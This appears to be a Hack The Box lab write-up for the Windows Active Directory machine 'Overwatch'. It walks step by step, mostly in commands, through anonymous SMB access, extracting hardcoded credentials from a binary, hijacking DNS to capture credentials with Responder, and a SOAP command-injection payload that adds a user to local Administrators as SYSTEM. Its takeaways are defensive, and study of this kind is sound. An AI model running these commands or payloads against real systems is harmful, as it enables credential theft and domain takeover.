HTB:Overwatch Writeup
Difficulty: Medium
OS: Windows
Domain: overwatch.htb
Overview
Overwatch is a Windows machine built around an Active Directory environment with MSSQL and WinRM in the mix. There's no single vulnerability here — the path to SYSTEM is a chain of small misconfigurations that compound into full domain compromise. Hardcoded credentials, a misconfigured linked server, DNS we can write to, and a command injection hiding inside an internal WCF service.
Recon
Starting with a full TCP scan to get a complete picture of the attack surface.
codenmap -sC -sV -p- 10.129.6.227
The host is domain-joined and exposes the full Active Directory stack — DNS, LDAP, Kerberos. SMB on 445, WinRM on 5985, and MSSQL on a non-default port of 6520. The presence of WinRM immediately makes this feel like a machine that rewards credential collection. That's the goal.
SMB — Leaking Internal Tooling
Anonymous enumeration reveals something interesting alongside the usual default shares.
codesmbclient -L //10.129.6.227 -U guest%
There's a non-standard hidden share: software$. No credentials required.
codesmbclient //10.129.6.227/software$ -U guest%
Inside is a Monitoring directory containing a compiled internal application:
codeoverwatch.exe overwatch.exe.config overwatch.pdb
Tearing Apart the Binary
The config file is the first stop.
codecat overwatch.exe.config
The application exposes a WCF SOAP service at http://overwatch.htb:8000/MonitorService using basicHttpBinding with zero authentication configured. Internal use only, trusting the network perimeter to do the heavy lifting. Noted.
Since this is a .NET binary, disassembly is straightforward.
codemonodis overwatch.exe > overwatch_il.txt grep -i "ldstr" overwatch_il.txt | grep -i "server\|user\|password"
Hardcoded credentials, sitting in the binary in plaintext:
codeServer=localhost; Database=SecurityLogs; User Id=sqlsvc; Password=TI0LKcfHzZw1Vv;
MSSQL Foothold
Connecting with the recovered credentials on the non-default port.
codeimpacket-mssqlclient 'overwatch/sqlsvc:TI0LKcfHzZw1Vv@10.129.6.227' -port 6520 -windows-auth
The session opens. Checking privilege level first:
codeSELECT IS_SRVROLEMEMBER('sysadmin'); -- 0
Not a sysadmin, so xp_cmdshell is off the table for now. But the session is authenticated and the domain context is active. Time to look sideways.
Linked Servers and a Broken Trust
Enumerating linked servers:
codeEXEC sp_linkedservers;
SQL07 shows up. Querying it fails — the host doesn't exist or isn't reachable. In most situations that's a dead end. Here it's the opposite.
When SQL Server tries to reach a linked server that fails name resolution, it attempts to authenticate anyway — and it uses whatever credentials are stored in that link configuration. If those credentials can be intercepted, the link becomes a credential delivery mechanism pointing wherever we want.
First, checking whether sqlsvc has write access to directory objects:
codebloodyAD -u 'sqlsvc' -p 'TI0LKcfHzZw1Vv' -d overwatch.htb --host 10.129.6.227 get writable
It does. Adding a DNS record for SQL07 that points to the attacker machine:
codebloodyAD -u 'sqlsvc' -p 'TI0LKcfHzZw1Vv' -d overwatch.htb --host 10.129.6.227 add dnsRecord SQL07 10.10.15.154
SQL07.overwatch.htb now resolves to us.
Capturing Credentials via Responder
Responder goes up on the tunnel interface:
codesudo responder -I tun0 -v
Triggering the linked server from inside MSSQL:
codeEXEC ('SELECT 1') AT SQL07;
SQL Server resolves SQL07, connects to the attacker machine, and transmits its stored credentials. Responder catches them in cleartext:
codeUsername: sqlmgmt Password: bIhBbzMM<REDACTED>
The linked server was configured with hardcoded credentials, not Kerberos delegation. That's why they arrived in cleartext.
User Flag via WinRM
codeevil-winrm -i 10.129.6.227 -u sqlmgmt -p 'bIhBbzMM<REDACTED>'
Shell opens cleanly.
codetype C:\Users\sqlmgmt\Desktop\user.txt # a5f37370e113eab2051<REDACTED>
The WCF Service — Local Attack Surface
With a foothold on the box, revisiting the WCF service from earlier.
codenetstat -ano | findstr 8000
Bound to all interfaces but only reachable locally. Querying the WSDL to map available methods:
codeInvoke-WebRequest -UseBasicParsing -Uri "http://localhost:8000/MonitorService?wsdl"
The interface is IMonitoringService. The binary analysis from earlier revealed how KillProcess works under the hood — it builds a PowerShell command through string concatenation:
codeStop-Process -Name <input> -Force
No sanitization. A semicolon is enough to break out.
Command Injection as SYSTEM
The SOAP request is crafted with a payload that adds sqlmgmt to the local Administrators group:
code$headers = @{ "SOAPAction" = "http://tempuri.org/IMonitoringService/KillProcess" } $body = @' <?xml version="1.0"?> <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"> <s:Body> <KillProcess xmlns="http://tempuri.org/"> <processName>test; net localgroup Administrators sqlmgmt /add #</processName> </KillProcess> </s:Body> </s:Envelope> '@ Invoke-WebRequest -UseBasicParsing ` -Uri "http://localhost:8000/MonitorService" ` -Method POST ` -Headers $headers ` -ContentType "text/xml; charset=utf-8" ` -Body $body
The service runs as NT AUTHORITY\SYSTEM. The command executes under that context.
Root Flag
Drop the session and reconnect to refresh group membership:
codeevil-winrm -i 10.129.6.227 -u sqlmgmt -p 'bIhBbzMM<REDACTED>'
codewhoami /groups | findstr Administrators # confirms local admin membership type C:\Users\Administrator\Desktop\root.txt # 93c4bf9afbc9d271d<REDACTED>
The Full Chain
codeAnonymous SMB access → Internal .NET monitoring app downloaded → Hardcoded MSSQL credentials extracted from binary → Linked server discovered, DNS record injected → Stored credentials captured via Responder → WinRM session as sqlmgmt → Internal WCF service command injection → Execution as NT AUTHORITY\SYSTEM
Takeaways
What makes this machine interesting is that nothing here is exotic. Every step abuses something mundane — a guest SMB share, a secret in a config string, a missing DNS record, a string that gets concatenated instead of validated. Individually, any one of these is a finding in a pentest report. Together, they're a full compromise path.
The lesson isn't "patch this one thing." It's that hardcoded credentials, internal services without auth, and writable DNS are independently bad but collectively catastrophic. Defense here means enforcing authentication at every boundary, treating internal services as hostile by default, and hunting for secrets in binaries before attackers do.